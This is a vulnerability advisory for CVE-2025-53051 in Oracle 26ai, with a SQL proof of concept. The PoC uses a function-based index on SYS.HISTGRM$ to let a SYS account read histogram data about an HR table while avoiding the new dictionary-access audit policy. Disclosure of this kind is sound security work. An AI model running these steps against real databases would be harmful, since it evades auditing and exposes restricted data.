Title: Oracle 26ai Histogram Dictionary Vulnerability [CVE-2025-53051]
Product: Database
Manufacturer: Oracle
Affected Version(s): 26ai
Tested Version(s): 26ai
Risk Level: Medium/Low
Solution Status: Fixed
CVE Reference: CVE-2025-53051
Base Score: 2.7
Author of Advisory: Emad Al-Mousa
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Introduction:
In Oracle 26ai a new security enhancement and feature is to restrict powerful account as SYS from viewing histogram dictionary data. In the past, a DBA/System Admin can bypass sensitive table traditional auditing/monitoring with histogram data viewership unless database vault security feature is used (licensed product). In addition attempting to view/query the below system tables will be logged per ORA$DICTIONARY_SENS_COL_ACCESS security policy in 26ai:
SYS.HIST_HEAD$
SYS.HISTGRM$
SYS.WRI$_OPTSTAT_HISTHEAD_HISTORY
SYS.WRI$_OPSTAT_HISTGRM_HISTORY
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Proof of Concept (PoC):
The objective is to partially view data from an existing database table under HR schema called T1, through histogram data that is being blocked from SYS account.
sqlplus / as sysdba
SQL> alter session set container=FREEPDB1;
SQL> shutdown immediate;
Pluggable Database closed.
SQL> startup upgrade;
Pluggable Database opened.
SQL> create index SYS.HIST_MAL_IDXX on HISTGRM$(SYS.dump_data(OBJ#||','||COL#||','|| ROW#||','||ENDPOINT||','||SPARE1));
Index created.
SQL> drop index SYS.HIST_MAL_IDXX;
SQL> startup force;
// checking the table T1 object id value:
SQL> select * from SYS.OBJ$ where NAME= 'T1';
// I will now query the data in the dumped table to view the histogram data of the column based on Table T1 object ID number:
SQL> select * from data_dump where value like '%71582%';
more detail and extensive description can be found here: https://databasesecurityninja.wordpress.com/2026/10/18/oracle-26ai-histogram-dictionary-vulnerability-through-function-based-index-cve-2025-53051/
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References:
https://databasesecurityninja.wordpress.com/2026/10/18/oracle-26ai-histogram-dictionary-vulnerability-through-function-based-index-cve-2025-53051/
https://www.oracle.com/security-alerts/cpuoct2025.html
https://github.com/emad-almousa/CVE-2025-53051
https://nvd.nist.gov/vuln/detail/cve-2025-53051